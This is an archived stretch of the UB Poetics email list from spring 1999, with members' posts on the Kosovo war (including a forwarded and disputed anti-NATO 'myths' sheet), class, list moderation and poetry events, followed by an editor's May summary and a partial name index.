Surely the source of this is somewhere in the bowels of the Milosevic propaganda machine? Among the distractions here: we don't villify Hitler because he crossed borders--that's far too commonplace a behavior--but because he practiced genocide. While the expulsions of whole populations may not be technically gennocidal, it's a pretty close relation. He who does this, repeatedly, demonizes himself. That others have done so is rather beside the point. US interest: If in fact we control the rest of the Balkan Penninsula, what difference does the enmity of the Serbs make to us? Are we concerned that they will ally themselves with a superpower like Angola? How can the Serbs either help or hinder us? The US has reasons for being there, not all of them altruistic, but this aint one of them. Capitalist plot to control the news: curiously, a lot of news outlets are adamantly opposed to the bombing, a lot of others are doubtful, and these among those most identifiable with Big Business. Likewise resistance in Congress.

One can disagree about the action and its efficacy, but not, I think, on these grounds.

At 01:14 PM 4/3/99 -0500, you wrote:
>The following is taken from Z Net
>
>http://www.lbbs.org/ZNETTOPnoanimation.html.
>
>While a clearer acknowledgment of the long-standing repression >suffered by the Kosovar Albanians would have added much to the >balance of this "Myth Sheet," the points made are certainly >thought-provoking and prompt urgent questions about NATO's actions >and the motivations behind them.
>
>Kent
>----------
>
>The US/NATO War in Yugoslavia: Five Myths
>
>Myth #1. U.S./NATO had to attack "the Serbs" because the Yugoslav >government and President Slobodan Milosevic refused to negotiate on >Kosovo, a region of Yugoslavia where ethnic Albanians are the >majority.
>
>Reality: U.S./NATO bombs are falling on all Yugoslavs: Serbians, >Montenegrins, Albanians, Hungarians, Romanis and other peoples who >make up the multiethnic Federal Republic of Yugoslavia. There were no >"negotiations." U.S. officials like Secretary of State Madeleine >Albright, went out of their way to make this point when "peace talks" >were held in France in February. Instead, there was an ultimatum >presented by the U.S. government to the Yugoslav government that had >three points: 1) Kosovo must be granted autonomy; 2) NATO must be >allowed to station 30,000 ground troops in Yugoslavia to ensure this >autonomy; and 3) A NATO-conducted referendum for Kosovo's independence >from Yugoslavia would take place within three years. The Yugoslav >government agreed to the first condition, and rejected the second and >third, saying they were a gross violation of their sovereignty and the >independence of their country.

>
>
>
>Myth #2. Yugoslavia is the aggressor in this conflict and Milosevic is >a "new Hitler."
>
>Reality: No Yugoslav soldiers, planes or ships are attacking another >country. The conflict in Kosovo is an internal issue. A developing >country of 10 million people, Yugoslavia is being attacked by 19 >countries, including the biggest military powers in the world, which >have a combined population of more than half a billion people.
>Milosevic has been demonized much like Saddam Hussein is. As a State >Department official said, "the demonization of Milosevic is necessary >to maintain the air attacks." (S.F. Chronicle, Mar. 30, 1999)
>
>
>
>Myth #3. Clinton, Albright and the Pentagon generals were moved to >action by their concerns about "ethnic cleansing" and human suffering.
>
>
>Reality: The U.S., Germany and other NATO powers played a key role in >breaking up Yugoslavia in 1991-92, arming and supporting secessionist >movements. For 45 years after World War II, the many nationalities >that made up Yugoslavia lived together in peace. In the civil wars, >which followed the break-up of Yugoslavia, there was much bloodshed >and human rights violations on all sides. The biggest single act of >"ethnic cleansing" was the forced removal of 600,000 Serbs from the >Krajina region of Croatia (a former Yugoslav republic) by the >U.S.-trained and armed Croatian military in 1995. More than 55,000 of >these Serbs, who were resettled in Kosovo, are among the hundreds of >thousands of people made refugees by NATO bombing and the conflict in >Kosovo. (Julia Taft, Asst. Secretary of State on C-SPAN, 3-29-99) The >U.S. "concern" about removal of people from their homeland is very >selective. This is not surprising: Virtually the entire continent of >North America was "ethnically cleansed" of Native people to make way >for the U.S. and Canada, two of the NATO powers. U.S. policy has >supported, with arms and money, the removal of Kurdish people in >Turkey, Palestinians, East Timorese, Guatemalan indigenous people -- >and the list goes on.

>
>
>
>Myth #4. The U.S./NATO goal is to protect the rights of the >predominantly Muslim Albanians in Kosovo.
>
>Reality: U.S. officials pretend to care about the rights of Muslim >people in Yugoslavia, while their policy of sanctions and war kills >300 Iraqis every day -- half children under 5 years old. Most Iraqis >are Muslims.
>
>The Pentagon is not a humanitarian relief agency and the >corporate-owned politicians don't really care about any people -- >Albanians, Serbs, Kurds, Iraqis, or the poor and working people of >this country.
>
>This war is killing people of all nationalities in Yugoslavia, and >poisoning their land with radioactive depleted uranium (DU) weapons.
>Hundreds of thousands of Iraqis, U.S. veterans and their families are >suffering from Gulf War Syndrome as a result of depleted uranium >poisoning. The Clinton administration and the Pentagon talk about >"supporting our troops" before they go into battle, but then deny >medical benefits to veterans who suffer from the after-effects of >Agent Orange from Vietnam or DU from Iraq.
>
>This war will cost many billions of dollars, money stolen from >housing, health care, education and other social programs. Each cruise >missile costs $1 million. The only ones who will benefit from this war >will be the military-industrial complex and big business.
>
>The real U.S./NATO goal is to break Yugoslavia into ever-smaller >pieces and bomb its people into submission. The Balkans is a strategic >region, a crossroads between Western Europe and the oil-rich Middle >East and Caspian Basin. The U.S. has established, in only 5 years, >military domination of the former Yugoslav republics of Croatia, >Bosnia and Macedonia, as well as Hungary and Albania. The only >hold-out has been what is today the Federal Republic of Yugoslavia.
>This is the real reason why Yugoslavia has become the target in the >Balkans, just as it is the real reason that Iraq has become the target >in the Persian/Arabian Gulf region.

>
>
>
>Myth #5. U.S. news reports are balanced and impartial, giving us the >true story.
>
>Reality: What we see today is a gross distortion of the facts. The >media is dominated by big business interests, and functions as a >Pentagon propaganda machine. For political purposes, the suffering of >only one group, the refugees leaving Kosovo, is shown, while the other >Yugoslav victims of the NATO bombing are virtually ignored. The New >York Times, CNN, ABC, CBS, NBC, The Chronicle Examiner, and others >have given a very slanted view of events in Yugoslavia, to justify the >massive bombing. General Electric, one of the country's largest >military contractors which supplies engines for NATO jet fighters, >owns NBC and co-owns MS/NBC.
>
>Volunteers and donation are needed!
>
> Contact us to receive a copy
> of the 1998 IAC book
> NATO in the Balkans
>
> International Action Center
> 39 W. 14th St., #206
> New York, NY 10011
> [redacted]
> fax: [redacted]
> http://www.iacenter.org
> email: [redacted]
>
>

↑ Index

75. derek beaulieu / house press

Re: Relation of Web/hypertext ed. to book sales

Sun 4 Apr 1999

---

well i know that coach house books has certainly had success from web publishing - check them out at www.chbooks.ccom hope that helps yrs

derek
-----Original Message-----
From: Loss Pequen~o Glazier <[redacted]>
To: [redacted] <[redacted]>
Date: Saturday, April 03, 1999 7:20 PM
Subject: Relation of Web/hypertext ed. to book sales

>We are engaged in a project creating a hypertext edition of a book and have >run >into resistance from the publisher. If anyone knows of a citation that >supports >the argument that a web version of a book increases sales of the book itself, >or any similarly useful info for arguing this point, any suggestions would be >most welcome! Thanks ...
>

↑ Index

76. Tom Beckett
The Iron Law of Oligarchy
Sun 4 Apr 1999

One of the things which sticks with me from the Introduction to Political Science class I attended in 1971 at Kent State University (one of those midlevel State institutions recently derided on this list) is sociologist Robert Michel's Iron Law of Oligarchy--the idea that power inevitably tends to concentrate in the hands of a few.The essence of democracy is the fight against that tendency. Every time this list excludes a participant or censors a message the body politic is scarred.

My wish is that more people participate in the poetics exchanges and that the personal vitriol be held in check. Jessica P.'s recent post about ambitions running rampant seems very much to the point. I share her frustrations.

Tom Beckett

↑ Index

77. derek beaulieu / house press
filling Station Magazine: "Gas Jockeys Unite!"
Sun 4 Apr 1999

This is a multi-part message in MIME format.

charset="iso-8859-1"

filling Station Magazine is very excited to announce;
"Gas Jockeys Unite!: Celebrating 5 years and 15 issues of filling = Station Magazine"
April 17th 7:30
Carpenter's UNion Hall
310 10th St. NW
Calgary, Alberta

a musical and poetic celebration with readings by:
Richard Harrison
Jeff Derksen
Suzette Mayr
tom muir
Rob Moffat of SAGE Theatre and musical performances by:
Shecky Forme
The Anne Loree Band
Los Morenos

this is a licenced event, $8.00 cover contact derek beaulieu ([redacted]) or coutrney thompson = ([redacted]) for more information.

charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"> <HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.2106.6"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>filling Station Magazine is very = excited to=20
announce;</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>"Gas Jockeys Unite!: = Celebrating 5 years=20
and 15 issues of filling Station Magazine"</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>April 17th 7:30</FONT></DIV> <DIV><FONT color=3D#000000 size=3D2></FONT><FONT size=3D2>Carpenter's =
UNion=20
Hall</FONT></DIV>

<DIV><FONT size=3D2>310 10th St. NW</FONT></DIV>
<DIV><FONT size=3D2></FONT><FONT color=3D#000000 size=3D2>Calgary,=20
Alberta</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT> </DIV>
<DIV><FONT color=3D#000000 size=3D2>a musical and poetic celebration
=
with=20
</FONT><FONT color=3D#000000 size=3D2>readings by:</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>Richard Harrison</FONT></
DIV>
<DIV><FONT color=3D#000000 size=3D2>Jeff Derksen</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>Suzette Mayr</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>tom muir</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>Rob Moffat of SAGE = Theatre</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2> and </FONT><FONT = color=3D#000000=20
size=3D2>musical performances by:</FONT></DIV> <DIV><FONT color=3D#000000 size=3D2></FONT><FONT size=3D2>Shecky =
Forme</FONT></DIV>
<DIV><FONT size=3D2>The Anne Loree Band</FONT></DIV>
<DIV><FONT size=3D2>Los Morenos</FONT></DIV>
<DIV><FONT size=3D2></FONT> </DIV>
<DIV><FONT color=3D#000000 size=3D2>this is a licenced event, =
</FONT><FONT=20
color=3D#000000 size=3D2>$8.00 cover</FONT></DIV> <DIV><FONT color=3D#000000 size=3D2></FONT><FONT size=3D2>contact derek = beaulieu (<A=20 href=3D"mailto:[redacted]">[redacted]</A>) or = coutrney=20 thompson (<A = href=3D"mailto:[redacted]">[redacted]</A>)=20 for more information.</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT> </DIV></
BODY></HTML>

↑ Index

78. James Sherry
Hypertextual Versions Relation to Book Sales
Sun 4 Apr 1999

Loss, You should contact the folks at Eastgate systems who do some of the best hypertext publishing. They will have the statistics, I'm sure. James

↑ Index

79. Douglas Oliver
Re: class
Sun 4 Apr 1999

I'm made constantly aware that Americans and Brits use the word "class" in different senses. Though even in Britain things have become more fluid, when you meet the real ruling classes -- as defined in those chauvinistic terms -- you are in absolutely no doubt, for it begins in their schools. Still, when James Sherry says that no one on this list can be called ruling class, I recognise the cogency of his remarks but then go blank a moment.

I have lived most of my life without many possessions or too much money (Alice and I live in a tiny two-room apartment in Paris) but I'm clear that I am a member of the ruling class. That's because I refuse to consider the question of class in anything but world terms. I simply won't do it.

First, let me allow for the really disadvantaged in the Triad countries: I can't speak for them. But, for myself, it's obvious that in comparison with billions of people in the Third World -- the huge majority in the world -- I am decidedly upper class. Also, in terms of being a member of a country and of coalitions which impose their politics and economics on the rest of the world by force if necessary I am a member of the ruling class. Until Western poetry really takes those facts on board it will not, in my view, have a deep view of class.

This is not piety on my part (and anyway I'm sure James has thought of this a million times himself). It's just that I cannot bear to island this argument, making of it a convenient national territory where I can feel comfortable either with my standard of living or my poetry.

Doug Oliver

↑ Index

80. A H Bramhall
Poetics In A Gaseous State
Sun 4 Apr 1999

---

intention isn't process.
just say stuff, don't say that you're saying stuff.

(war is a picture of determination.

bomb/nothing in doubt.)

every barrier has its day.

lurking some where,
I have been drifting, expecting what I would never expect.

find it timely to find.

--Allen Bramhall, just trying to make doubt safe for the entire world

↑ Index

81. Mark Weiss
Query
Mon 5 Apr 1999

I'd appreciate a backchannel of Rachel Levitsky's current snailmail--I owe her a book.

Mark Weiss

↑ Index

82. David Baratier
Re: added to antin
Mon 5 Apr 1999

Considering the topic of National Poetry month was brought up I have a piece which fits in. I know some of you have seen portions of this series and for those who haven't, I have become friendly with a prophecy telling machine named Estrella. She is gorgeous and everybody loves mystery. It has become an expensive habit. I will be moving the 10th of this month as a result, backchannel for address. This has ruined my life.

Be well

David Baratier

Estrella’s Prophecies #52

Buy so much poetry this month that you can fiscally understand poetry month.
Jonathan Galassi needs the money and decent non-honkey panelists.
Buy a lot of white lady with the rest of the money because you think good writers shoot dope. Use a clorox clean needle as that sex-poem poet is more than words. When they take you away to the poetry rehabilitation center you will be de-programmed and finally learn Borders cannot carry excellent poetry. Drop another coin in the slot and I will tell more.

↑ Index

83. David Baratier
reading
Mon 5 Apr 1999

Columbus Ohio: Annie Finch is reading at Larry's tomorrow (Monday) night. Please make a special effort to be there. She teaches Creative Writing at Miami U/Oxford Ohio and her book Eve from Story Line Press has gotten attention. Her other books include The Ghost of Meter: Culture and Prosody in American Free Verse (Michigan, 1993); A Formal Feeling Comes: Poems in Form by Contemporary Women (Story Line, 1994); and After New Formalism (Story Line, 1998). She is translating the poetry of Louise Labe and working on a multimedia CD-Rom of Eve. Annie is driving in from Cincinnati, leaving her wee ones and the universtiy for a venue that is not her normal scene.

↑ Index

84. John Cayley
whatsoever we serve
Mon 5 Apr 1999

I've finally made an html version of a short essay (with some added paratextual paraphernalia) which was written for Mute (no. 11), 'Of Programmatology'... This is at: <http://www.demon.co.uk/eastfield/in/prog/progset0.html>.

Can I take this opportunity to recommend this magazine again to those of you who may not have seen it, but take an interest in art and digital culture. The latest issue is number 12, and it includes many fine articles on, for example regulation and the net and the 'new' avant-frontier of biotechnological engagements. Mute did surface in UK news agents for a time. Better stockists should have it. Information from: <http://www.metamute.com/>

I have also put up a more specialist essay on transliteration at: <http://www.demon.co.uk/eastfield/in/translit/transl.html>. A version of this essay will also appear in "Gravitational Intrigue: an anthology of emergent hypermedia," the forthcoming (CD Rom/Web-based) vol 22 of The Little Magazine. Inquiries: <[redacted]>.

Both these essays probably need 4.0x browsers and screens that are at least 800x600.

Apologies if you receive this message more than once.

↑ Index

85. Rachel Levitsky
Minnie Bruce Pratt
Mon 5 Apr 1999

Please join us for a Reading and a Book Party Celebrating

Minnie Bruce Pratt

at the release of her new book of poetry:

Walking Back Up Depot Street

from the University of Pittsburgh Press

Location:
International Action Center,

39 West 14th Street
Suite 206
New York, NY 10011

Date:
Saturday, April 10
Time:
7 p.m.

For More Information:
[redacted]

Books will be on sale

***
Proceeds from sale of books will be donated to Millions for Mumia, the campaign to stop the execution of Mumia Abu-Jamal

Advanced praise for the book:

"This ambitious work which brilliantly uses biography, historical documents, newspaper reportage, oral history, fragments from testimony and interviews, never lets the reader down, not as art or as evidence....here, writing her greatest poems, a 'heart of flesh' is earned by consciousness of the powerful interrelated and often buried forces that connect us and shape who we are." --Toi Derricotte, author of "Black Notebooks" and "Tender"

↑ Index

86. Pritchett,Patrick
Re: Joan Retallack at DU
Mon 5 Apr 1999

> Dante met Beatrice > (bitter memory discarded)
> though his body remained on the earth > & wept in the rain
>
> THE 1998-99
> LEO BLOCK LECTURE SERIES
> PRESENTS
>
> JOAN RETALLACK
>
> poet,
> associate of the Bard Institute > for Writing & Thinking, > professor at U. of Maryland

> &
> author of
> MUSICAGE: Cage Muses on Words.Art.Music, > Afterrimages, Errata 5uite, > and How to Do Things with Words
>
> April 16
> TALK 4PM
> READING 7:30
>
> South Renaissance Room,
> Mary Reed Building,
> University of Denver Campus.
>
> April 17
> WORKSHOP 2-4PM
>
> Dupont Room,
> Mary Reed Building,
> Uof Denver Campus
>
> Questions? call [redacted]

↑ Index

87. Poetics List
Re: email charges / Krick
Mon 5 Apr 1999

This message came to the administrative account. Chris

From: [redacted]
Date: 4/4/99 10:50 AM -0400

Dear Poetics List,

I searched the House web site for specific information about this the bill John Lowther refers to and found:

Don Young, an Alaskan representative has posted three letters on his web site, each titled "Internet Access Charges":

http://www.house.gov/donyoung/issues.htm

Rep Young's letters explain the issue of "reciprocal charges" between phone companies pretty clearly.

Arizona representative Jim Kolbe has also introduced a bill that would prohibit per minute charges for Internet access. Maybe this one deserves our support. You can read a release about it at:

http://www.house.gov/apps/list/press/az05_kolbe/pr_990330_internet.html

John Krick

↑ Index

88. Joe Amato/Kass Fleisher

Re: class

Mon 5 Apr 1999

---

douglas oliver: a fine sentiment, given that the yearly avg. global income is (i believe) hovering around $2500 (u.s. equivalent, and sorry for putting it this way)... also, i take your point about british pedigree...

still---and while my mind went blank a bit too after reading james s's post (hi james!)---i'll have to depart ultimately from the upshot of what you're saying, douglas: there are class differentials here in the states that are monumentally unjust... and there are class differentials here in the states that are less so, if nonetheless unjust... and i feel compelled here to exhort those who find themselves in the u.s. to begin to find a way to talk about these differences, b/c it's simply too easy (yes---easy) only to point our fingers at other countries and allege the enormous injustices there (with our words or deeds) while the injustices here (class-based, and as i've posted here before, entirely wound around race and gender and so forth) go unchallenged...

reminds me in fact of a character in dickens's _bleak house_---

well i'll skip the literary allusions... also, while i'm at: i may as well depart a bit from other posts, other excellent posts on this thread, in which the desire to complicate money issues as such strikes me at times as an aversion to discussing said issues... i.e., if there is room for structural-economic analysis, for rethinking distribution of wealth, there is room too for more earthbound analyses... yes, class is indeed tricky b/c it's fluid---but fluidity does not erase memory, and memory is one sign of difference and identity...

so, i'm with kathy lou and others on this---i can usually detect in short order when i'm dealing with someone whose (e.g., u.s.) pedigree is owing to a real difference in economic class... having been OF the u.s. working classes, having lived IN poverty (by u.s. federal standards) for some years, and having found mself of late in comfortable if markedly unstable u.s. middle-class confines (one mark of which may be---and here i must be parenthetically public abut this---that kass (above) and i recently filed chapter 7) has perhaps provided me with this... ability?... for me, i find that it's also a matter of being 1st generation american (my mother a french citizen, merchant class prior to wwii), and second on my father's side (italian, poor)...

again, i don't wish to be too much "myself" in all of this, but i find accounting for oneself (as douglas has, in fact) to be an important, even urgent part of the discussion... not confessions, no, not even disclosures---just a sense of where, as we used to say, one is coming from...

alla that said, i do appreciate douglas's global provocation...

best,

joe

↑ Index

89. Rachel Levitsky

Re: wartime activities/class/book party

Mon 5 Apr 1999

I had meant to post this one:

Dear List,

First I'd like to thank all the folks who have been posting on the war, Charles B., Kent J. Etc. and nod to Doug Oliver's clear statement about class. Capital comes in many forms, for those of us who have the priviledge of chosing some forms and not other less palatable ones. Worthwhile to keep in mind the penniless noble.

My computer is all but useless just now so getting email is an activity that takes a whole day so I'm late in getting the following information out, but alas:

Minnie Bruce Pratt

is the author of _S/He_, Rebellion, Crimes Against Nature (Lamont Selection, 1989).

She has published a new collection called _Walking Up Depot Street_ though the Pitt Poetry Series. I urge you to read this book which carries the reader though a wildly dimensional landscape via an internal and external descent into the female, working class south.

Please come to a Book Party for Minnie Bruce Pratt
whick will take place at the

International Action Center,
39 West 14th Street,
between 5th and 6th Avenues,

this Saturday evening,
April 10 at 7:00 pm

call [redacted] for info

proceeds from book sales will be donated to Millions for Mumia, the campaign to stop the execution of Mumia Abu Jamal

From the poem “A&P”:

“She rolled a tomato in her hand, pink rubber ball engineered to fit a machine. The motion recalled Florida, toward the Glades, Pahokee, Belle Glade, fields to the horizon, crawling with tomato plants, and the proportion all wrong between the rows: wide enough for a truck to drive through. A truckload of migrant workers, Cuban, Haitian, Jamaican, perhaps Creek, Seminole, turning rolling to a dark spot on the horizon, stopping somewhere, the next unpicked spot
the same, on the row, assembly line.”

↑ Index

90. Joe Amato/Kass Fleisher
Re: The Iron Law of Oligarchy
Mon 5 Apr 1999

---

tom beckett's recommendation to 'hold personal vitriole in check' (i paraphrase) draws me out of lurk (again!), esp. as tom asserts that "[e]very time this list excludes a participant or censors a message the body politic is scarred"...

i'm in sympathy with the latter, but see it as an ideal, predicated in fact on the former... and to give the discussion here, online, a practical bent (and w/o wishing to dredge up the poetics controversy of months past), i'd like to ask, rhetorically, how many of you have spent any time on usenet?...

b/c there's generally a profound difference twixt usenet groups and lists such as these (moderated or unmoderated)... one reason why i don't bother with usenet these days is b/c of the deplorably unchecked AND uncensored nature of what goes on there... i speak in broad sweep of course (alan sondheim can speak more directly to this issue), but if you think you'd really like to see an unchecked and uncensored discussion c. 1999, please do have a look at usenet... i'm using the word "uncensored" in an admittedly narrow sense to mean, not only does no one stop what is said from being said (b/c no one really can), but there is NO encouragement (let alone moderation) by anyone in a position of responsibility to the effect that some things might be better left unsaid (yes, i'll say it---hate speech falls into this category of course, esp. in a public forum where anybody can say anything and everything)... on those usenet groups that purport to deal with some of the more sensitive issues we deal with here (such as race, say) the discussion (if you can call it that) can be utterly revolting...

so i think spending some time on usenet may make that much clearer the need---at times---for SOME form of moderation (aka "censorship"), whether "full" or "partial" or someone in charge (as it were) just plain urging us to cool down...

but don't take my word for it... head over to igc:soc.cult.af.am */ (or wherever) and see for yourselves... i'm against censorship in general, but perhaps this is more a comment on the nature of our public domain... and after all: there is much, i venture, that we'd all of us agree should not be posted in a public establishment (and in fact and contra the 1st amendment, there are laws to prevent such stuff from being posted)...

best,

joe

↑ Index

91. Mark Weiss

Query

Mon 5 Apr 1999

Anybody out there got a phone number for Lithocrafters?

↑ Index

92. Michael Krebs

Re: Poetics In A Gaseous State

Mon 5 Apr 1999

Nice. I like to think intention is process. It is movement toward motion. And everyone can continue saying stuff. The world may not be safer with a world

↑ Index

@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

May 1999

294 messages · Fri 30 Apr 1999 – Thu 27 May 1999

May opened with the war still grinding on in the background — NATO's planes over Yugoslavia for a second month — and the list, characteristically, declined to report it and chose instead to interrogate itself. Jordan Davis put the challenge most bluntly, under the heading the suck of art: "anybody doing anything about this war we're having?" It was less a question about Kosovo than about poetry's standing to answer for it, and it set the key for much that followed. Billy Little replied in the only register that seemed adequate, a battered parody of Over the Rainbow in which the Serbs fall far behind and the missiles melt like lemon drops; the joke, of course, was that they did not.

The blunt question had an abstract twin that ran all month under the heading Poetry: telic or not — is the art directed toward an end, or is it gloriously good for nothing? Randy Prunty and P. Standard Schaefer traded closely argued posts on whether a poem could be a form of social action at all, and Jacques Debrot raised the stakes by way of George Lakoff, quoting the cognitive scientist's claim that if the world's cruelty is to end "our concepts must change," and that changing concepts means changing brains and bodies. It is the list at its most philosophical, worrying a question it has no intention of ever settling.

Relief arrived, as it often does, in the form of a bibliography. Jena Osman asked after poems assembled from the language of other texts — Cage's mesostics, Reznikoff's Testimony — and the room happily emptied its shelves. miekal and nominated "the venerable Bern Porter" as the lifelong master of the form; Taylor Brady and David Baptiste Chirot both reached for Ronald Johnson's RADI OS, that erasure carved out of Paradise Lost; and the thread became a small, glad census of everything poets have made by finding rather than inventing.

Underneath ran the perennial question of the canon and its heirs. Small Press Traffic announced a public re-reading of Donald Allen's New American Poetry, the 1960 anthology that drew the map much of the list still lives on, and Maria Damon wanted to know how Marjorie Perloff and Alan Golding had ended up on "opposite sides of the fence" over the old wound of who gets let in. The question of the young came in through Alice Notley, whom Chris Stroffolino quoted from a COMBO interview praising "an extremely exciting younger generation right now" — even as she wished it were more political, a wish that touched off a long, bristling argument about whether love could ever be a politics.

And then the map itself lost a landmark. On the seventeenth, in Port Townsend, James Broughton died at eighty-five — poet and filmmaker, radical faerie, and, as Kevin Killian reminded the list, "one of the original New American Poets," which is to say a man who had been printed in the very anthology Small Press Traffic was preparing to reopen. Billy Little wrote the farewell, mourning a beautiful man whose small bright films were worth double the price of admission: "he was America's Cocteau." I have kept the arguments and the found poems and the theories of purpose in the order they arrived, and let Broughton's death fall where it did — in the middle of a month spent asking what poetry is for, and answered, in passing, by a life that had simply and gorgeously been for it.

— Kristen M. Fabians

Index

Writers, names mentioned, and concepts. Every number links to its message. 294 in all.

WRITERS

Administration, Poetics List 97, 99, 203, 204, 256, 294
Aerialedge 17, 20
And, Miekal 77, 259
ANDREWS, BETSY 65, 149
Archambeau, Robert 226, 233
Baratier, David 238
Bell, Thomas 236
Bellamy, Dodie 111, 175
Bennett, Jim 48
Bowering, George 5, 30, 179
Brady, Taylor 103, 104, 263
Bramhall, A H 216
Brennan, Joe 270, 275, 281
Brink, Leonard 42, 115, 240
Bromige, David 113
Brook, James 160
Brown, Lee Ann 86
Bryant, Tisa 106
Byrne, Mairead 62
Caddel, Richard 51
Chai, Nora 239
Cheek, Cris 24
Chirot, David Baptiste 274
COMERFORD, DEBBIE 283
Conte, Joseph 112
Cope, Stephen 114, 153, 253
Corrigan, Mariah 142
Curnow, Wystan 29
Damon, Maria 25, 26
Damon), Maria Damon (Maria 80, 100, 101, 102, 124
Davis, Jordan 252, 289
Dbkk 3, 33, 210
Debrot, Jacques 150, 197, 261, 264
DeDeo, Simon 6
Degentesh, Katie 68, 131, 193
Democracy, R 117
Devenney, Christopher M 195
DuPlessis, Rachel Blau 60
Durgin, Patrick F. 225
Ellis, Stephen 129, 224, 260
Emgarrison 11, 36
Finch, Annie 134, 135, 198, 228, 272
Fodaski, Elizabeth 63, 234
Foster, Edward 19
Gallagher, Kristen 50, 141
Glazier, Loss Pequeño 53, 191, 194
Golding, Alan C 4
Green, Tony 132
Grotjohn, Robert 55
Hamshaw, Carol L. 70, 152
Healy, L. MacMahon And T.R. 148
Hofermr 166
Hreha, Sarah 31
Inc), Brian Lucas (Kelly Services 215
Interim 92
Jarnot 271
Johnson, Julie 91, 241, 277
JOHNSON, KENT 74
Joris, Pierre 183
Joyce, Trevor 137
Jullich, Jeffrey 123, 140
Kalleberg, Garrett 205
Kane, Daniel 40, 41, 280
Kathylou 126
Ken|n|ing 14, 168, 257
Kramer, Wendy 242
Krebs, Michael 276
Laity, Cassandra 158
Lederer, Katherine 38, 145, 235
Lennon, Brian 66
Lewis, Joel 16
List, Poetics 22, 46, 47, 56, 57, 120, 139, 177, 178, 278
Little, Billy 8, 49, 110, 199, 211, 219, 231, 258
Loden, Rachel 288
Lowther,John 35, 58, 89, 96, 121, 185, 187, 196, 201, 255, 290
Lunberry, Clark D 52, 266
Magee, Kevin 1, 71, 88, 162, 180, 181, 222, 265, 287
Magee, Michael 133
Marks, Steven 221
MAYHEW 173
McCreary, Chris 32
Muratori, Fred 34
Nichols, Miriam 174
Nuyopoman 54, 73, 282
Oliver, Douglas 69
Orange, Tom 161
Osman, Jena 254
Phillips, Patrick 81
Piuma, Chris 176
Press, Derek Beaulieu / House 37, 43, 59, 95, 125, 190, 232
Pritchett,Patrick 118, 122, 127, 200
Project, Poetry 2, 61, 76, 94, 151, 159, 188, 230, 250, 273
Prunty, Randy 138, 217
Quartermain, Peter 9

Raea100900 291
Readers, Todd Baron /*/ ReMap 154
Reiner, Christopher 21, 128, 202
Romagnoli, Angela 220
Roy, Megan Minka Lola Camille 10
Russo, Linda 75, 212, 213, 214, 248, 285
Russo, Linda V 116, 147
Samuels, Lisa 279
Schaefer, P.Standard 164, 218
Scharf, Michael 208
Scheindlin, Noam 27
Schultz, Susan M. 144
Schwartz, Gerald 79
Scroggins, Mark W 119, 186
Severance, Gregory 169
Shana 107
Shemurph 267
Silliman, Ron 15, 83, 223, 286, 292
Sondheim, Alan 13, 28, 45, 78, 87, 93, 143, 146, 163, 170, 189, 192, 206, 237, 243, 246
Spahr, Juliana 136
Spence, Pete 64, 109, 251
Stefans, Brian 155, 156, 182, 184, 227
Stephens, Erika 108, 165, 207, 244
Stroffolino, Chris 23, 39, 84, 85, 167, 229, 249, 284
Teichman, Harold 12, 172
Tosh 67, 98
Travmar03 209, 247
Treadwell, Elizabeth 105, 171
Tremblay-McGaw, Robin 262
Uchman, Brenda Ellen 18
Upton., Lawrence 245
Wallace, Mark 44
Weiss, Irving 293
Whyte, Ryan 72
Wilson, Rob 157
Wolff, Rebecca 7, 90, 268, 269
Zervos, Komninos 130
Zimmerman, Daniel 82

NAMES MENTIONED

Adamson, Robert 12
Adorno, Theodor 157
Agamben, Giorgio 137, 162, 211
Albon, George 91
Alexander, Christopher W. 47, 56, 57, 120
Alferi, Pierre 12
Alice, Mary 69, 77, 85, 129, 214, 224, 285
Altieri, Charles 197
Altmann, Ruth 230
Americans, Asian 161, 177, 270
Anderson, Erik 15, 148
Andrews, Bruce 17, 20, 156, 197
Anne, Sarah 131, 171
Antin, David 29
Apollinaire, Guillaume 172
Arendt, Hannah 162
Armand, Louis 162, 265
Armantrout, Rae 12, 60, 135, 291
Arnold, Bob 177
Ashbery, John 34, 227
Atlanta, Mark P. 108
Auden, W. H. 2, 159
Ave, Madison 183
Baker, Lori 131, 157, 202
Baldwin, Mary 55
Balestrieri, Peter 53
Baratier, Dave 39
Bardot, Brigitte 67, 98, 103
Barnard, Mary 12, 60, 79, 81, 123, 135, 185, 248, 260
Barnes, Diane 27, 67, 90, 269, 285
Barthelme, Donald 157
Basinski, Michael 53
Baudelaire, Charles 137
Beatty, Paul 76
Beckett, Tom 137
Benjamin, Walter 71, 222, 246, 270
Bennett, Bill 21, 53, 255
Berkeley, Michael 10, 67, 105, 140, 153, 171, 175, 202, 222
Berkson, Bill 33, 188
Berlin, Irving 66, 140
Berman, Tosh 67, 98, 103
Bernofsky, Susan 205
Bernstein, Charles 2, 17, 60, 86, 97, 101, 172, 182, 184, 204, 227
Bernstein, Emma 135, 172, 182, 184, 191, 197, 207, 278
Berrigan, Anselm 2, 17, 94, 131, 168
Berrigan, Ted 33, 191, 280
Bettridge, Joel 53, 215
Bidart, Frank 90
Birmingham, Jed 1, 137
Bishop, Elizabeth 71
Blackmer, Tracy 188
Blake, William 71, 165
Blanchot, Maurice 183
Blaser, Robin 162, 199, 211, 231
Bloom, Harold 62
Blum, William 290
Bolton, Ken 148
Boone, Bruce 199, 231
Borges, Millicent 199
Bouchard, Daniel 151
Brace, Brad 72
Brady, Andrea 12
Bramhall, Allen 216
Brodsky, Nicole 92
Bronk, Bill 19
Bronk, William 19, 191
Broughton, James 210, 219
Bruno, Franklin 98, 103

Buchanan, Pat 9, 140
Bunting, Basil 44
Burger, Mary 91, 159
Burmeister, Bill 186
Burroughs, William 191
Bush, George W. 270
Buuck, David 234
Byrne, Ted 199, 211
Byron, Philip 71
Cabri, Louis 168
